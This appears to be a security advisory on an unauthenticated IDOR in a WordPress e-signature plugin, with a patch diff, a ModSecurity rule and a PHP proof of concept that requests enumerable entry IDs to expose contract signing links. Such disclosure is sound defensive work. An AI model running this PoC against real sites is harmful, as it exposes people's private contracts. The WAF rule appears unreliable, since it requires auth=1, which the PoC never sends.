Atomic Edge analysis of CVE-2026-65523:
This vulnerability is an unauthenticated Insecure Direct Object Reference (IDOR) in the Formidable Forms Signature Online Contract Automation plugin for WordPress, version 2.0.1 and earlier. The flaw exists in the ‘frm_init’ function, which handles the redirect of users returning from a payment gateway. Due to insufficient validation of a user-controlled parameter, an attacker can trigger an unauthorized redirect to a document signing invitation, potentially leaking sensitive document information. Atomic Edge analysis assesses this as a medium-severity issue with a CVSS score of 5.3.
Root Cause:
The root cause lies in the ‘frm_init’ method located in the ‘admin/esig-formidableform-filters.php’ file. In the vulnerable version, the function retrieves the ‘frm_esig_agreement’ parameter directly from the HTTP GET request using esig_formidable_get(‘frm_esig_agreement’). This parameter holds the Formidable entry ID, which is used to fetch a signing invitation URL. The function lacks a check to verify that the session is authorized to access the document associated with that entry ID. This is a textbook IDOR, where a user-supplied key (the entry ID) is trusted without proper authorization checks.
Exploitation:
An unauthenticated attacker can exploit this by constructing a URL to the WordPress site that triggers the ‘frm_init’ function. The vulnerable parameter ‘frm_esig_agreement’ is passed as a GET parameter, and ‘auth’ is not required if ‘frm_esig_agreement’ is present. When the function runs, it takes the provided entry ID, fetches the signing invite URL via ESIG_FORMIDABLEFORM_SETTING::getInviteUrl(), and redirects the victim to it. This redirect URL may contain sensitive information, such as a one-time signing link. An attacker could access contracts by guessing or enumerating entry IDs, bypassing payment and authentication requirements
Patch Analysis:
The patch modifies the ‘frm_init’ function to remove reliance on the user-supplied ‘frm_esig_agreement’ parameter. It now only considers the ‘auth’ parameter, which acts as a simple flag. The actual entry ID is resolved server-side from the user’s session data using ESIG_FORMIDABLEFORM_SETTING::getTempEntryId(), which is only set during the legitimate payment flow. The GET parameter ‘frm_esig_agreement’ is no longer used to drive the invite URL retrieval. This change ensures only authenticated return paths can trigger the redirect, mitigating the IDOR. Additionally, the patch modifies the ‘paypal_return_url_filter’ function to stop appending the entry ID to the PayPal return URL, replacing it with the generic ‘auth=1’ flag.
Impact:
Successful exploitation allows an unauthenticated attacker to trigger arbitrary redirects to E-Signature invitation URLs. This can lead to the disclosure of contract information, as the invitation URL provides access to the signing interface for a specific document. An attacker could enumerate entry IDs to access multiple contracts, potentially exposing sensitive data such as names, email addresses, and the content of the contracts themselves. The attack requires no privilege escalation and affects the confidentiality of document data.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/forms-signature-formidable-online-contract-automation/admin/about/includes/esig-activations-states.php
+++ b/forms-signature-formidable-online-contract-automation/admin/about/includes/esig-activations-states.php
@@ -23,6 +23,16 @@
if(!function_exists('esig_get_activation_state')) {
+ /**
+ * Determine the WP E-Signature core and Business Add-ons activation state.
+ *
+ * Uses the Business Add-ons bootstrap function so active installs are detected
+ * regardless of their plugin directory name or network activation status.
+ *
+ * @since x.x.x
+ *
+ * @return string The current E-Signature activation state.
+ */
function esig_get_activation_state(){
@@ -44,24 +54,11 @@
}
- if (file_exists(WP_PLUGIN_DIR . '/wpesignature-add-ons/wpesignature-add-ons.php') && is_plugin_active("wpesignature-add-ons/wpesignature-add-ons.php")) {
-
- return 'wpe_active_pro'; // wp e-signature is installed, active, AND has pro addons
-
- } else if (!function_exists("esig_business_pack_activate")) {
-
- return "wpe_inactive_pro"; // wp e-signature is installed , pro installed but not active but user has active license
-
- } else if (file_exists(WP_PLUGIN_DIR . '/e-signature-business-add-ons/e-signature-business-add-ons.php') && is_plugin_active("e-signature-business-add-ons/e-signature-business-add-ons.php")) {
-
- return 'wpe_active_pro'; // wp e-signature is installed, active, AND has pro addons
-
- }
- else{
-
- return 'wpe_active_basic'; // wp e-signature is installed, active, does not have pro addons
-
+ if ( function_exists( 'esig_business_pack_activate' ) ) {
+ return 'wpe_active_pro'; // WP E-Signature Business Add-ons is loaded.
}
+
+ return 'wpe_inactive_pro'; // WP E-Signature Business Add-ons is not loaded.
}
}
--- a/forms-signature-formidable-online-contract-automation/admin/esig-formidableform-filters.php
+++ b/forms-signature-formidable-online-contract-automation/admin/esig-formidableform-filters.php
@@ -96,22 +96,31 @@
return $content;
}
+ /**
+ * Redirect a returning signer to their e-signature invite URL.
+ *
+ * The entry ID is resolved from the signer's own session data
+ * (see ESIG_FORMIDABLEFORM_Admin::esig_invite_document() and
+ * ESIG_FORMIDABLEFORM_SETTING::getTempEntryId()), not from a
+ * request parameter.
+ *
+ * @since 2.0.2
+ *
+ * @return void
+ */
public function frm_init() {
- $frm_agreement = isset($_GET['frm_esig_agreement']) ? esig_formidable_get('frm_esig_agreement') : false;
- if (!$frm_agreement) {
- $auth = isset($_GET['auth']) ? esig_formidable_get('auth') : false;
+ $auth = isset($_GET['auth']) ? esig_formidable_get('auth') : false;
- if ($auth) {
- $frm_agreement = ESIG_FORMIDABLEFORM_SETTING::getTempEntryId();
- if ($frm_agreement) {
- ESIG_FORMIDABLEFORM_SETTING::deleteTempEntryId();
- } else {
- return false;
- }
- } else {
- return false;
- }
+ if (!$auth) {
+ return;
}
+
+ $frm_agreement = ESIG_FORMIDABLEFORM_SETTING::getTempEntryId();
+ if (!$frm_agreement) {
+ return;
+ }
+ ESIG_FORMIDABLEFORM_SETTING::deleteTempEntryId();
+
$inviteUrl = ESIG_FORMIDABLEFORM_SETTING::getInviteUrl($frm_agreement);
if ($inviteUrl) {
wp_redirect($inviteUrl);
@@ -119,6 +128,21 @@
}
}
+ /**
+ * Append the signer-return marker to the PayPal return URL.
+ *
+ * The entry ID for the returning signer is resolved server-side
+ * from their own session data in frm_init(), so only an `auth`
+ * flag needs to travel in the return URL.
+ *
+ * @since 2.0.2
+ *
+ * @param string $return_url The URL Formidable is about to redirect to.
+ * @param object $forms The Formidable form object.
+ * @param int $entryId The entry ID for this submission.
+ *
+ * @return string The (possibly modified) return URL.
+ */
public function paypal_return_url_filter($return_url, $forms, $entryId) {
@@ -132,11 +156,11 @@
$signingLogic = $frmAction['signing_logic'];
if ($afterPaypalPayment && $signingLogic == "redirect") {
if (strpos($return_url, '?') !== false) {
- $return_url = $return_url . "&frm_esig_agreement=" . $entryId;
+ $return_url = $return_url . "&auth=1";
} else {
$return_url = add_query_arg(array(
- 'frm_esig_agreement' => $entryId,
+ 'auth' => 1,
), $return_url);
}
}
--- a/forms-signature-formidable-online-contract-automation/formidable-forms-approveme-digital-signature.php
+++ b/forms-signature-formidable-online-contract-automation/formidable-forms-approveme-digital-signature.php
@@ -6,7 +6,7 @@
* Plugin Name: Formidable Forms Signature Online Contract Automation by ApproveMe.com
* Plugin URI: http://aprv.me/2llm6iC
* Description: This add-on makes it possible to automatically email a WP E-Signature contract (or redirect a user to a contract) after the user has successfully submitted a WPForms. You can also insert data from the submitted WPForms into the WP E-Signature contract.
- * Version: 2.0.1
+ * Version: 2.0.2
* Author: ApproveMe.com
* Author URI: http://aprv.me/2llm6iC
* Text Domain: esig-formidableform
@@ -39,7 +39,7 @@
/**
* Define constants
*/
-define( 'FORMIDABLEFORM_WPESIGNATURE_VER', '2.0.1' );
+define( 'FORMIDABLEFORM_WPESIGNATURE_VER', '2.0.2' );
define( 'FORMIDABLEFORM_WPESIGNATURE_URL', plugin_dir_url( __FILE__ ) );
define( 'FORMIDABLEFORM_WPESIGNATURE_PATH', dirname( __FILE__ ) . '/' );
define( 'FORMIDABLEFORM_WPESIGNATURE_CORE', dirname( __FILE__ ) );
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@contains /" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-65523 via Formidable Forms Signature IDOR',severity:'CRITICAL',tag:'CVE-2026-65523'"
SecRule ARGS_GET:frm_esig_agreement "@rx ^[0-9]+$" "chain"
SecRule ARGS_GET:auth "@streq 1" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-65523 - Formidable Forms Signature Online Contract Automation <= 2.0.1 - Unauthenticated Insecure Direct Object Reference
// Configuration
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
// The vulnerable plugin likely hooks into init or similar. This PoC simulates the request.
// The vulnerable parameter is 'frm_esig_agreement' which contains the entry ID.
// Step 1: Pick a target entry ID. This is often a sequential integer.
$entry_id = 1;
// Step 2: Craft the malicious URL. The plugin reads this GET parameter.
$exploit_url = $target_url . '/?frm_esig_agreement=' . $entry_id;
echo "[*] Sending exploit request to: " . $exploit_url . "n";
// Step 3: Send the request using cURL and follow redirects to see where the victim would be taken.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$redirect_url = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);
curl_close($ch);
echo "[+] Final URL for entry ID $entry_id: " . $redirect_url . "n";
echo "[+] If the final URL is different from the exploit URL and contains a signing invite, the vulnerability likely exists.n";
// Step 4: Note that the attacker would need to iterate over entry IDs.
// To demonstrate this, you could loop through IDs 1 to N in a real attack.
// For this PoC, we only show the first entry.
?>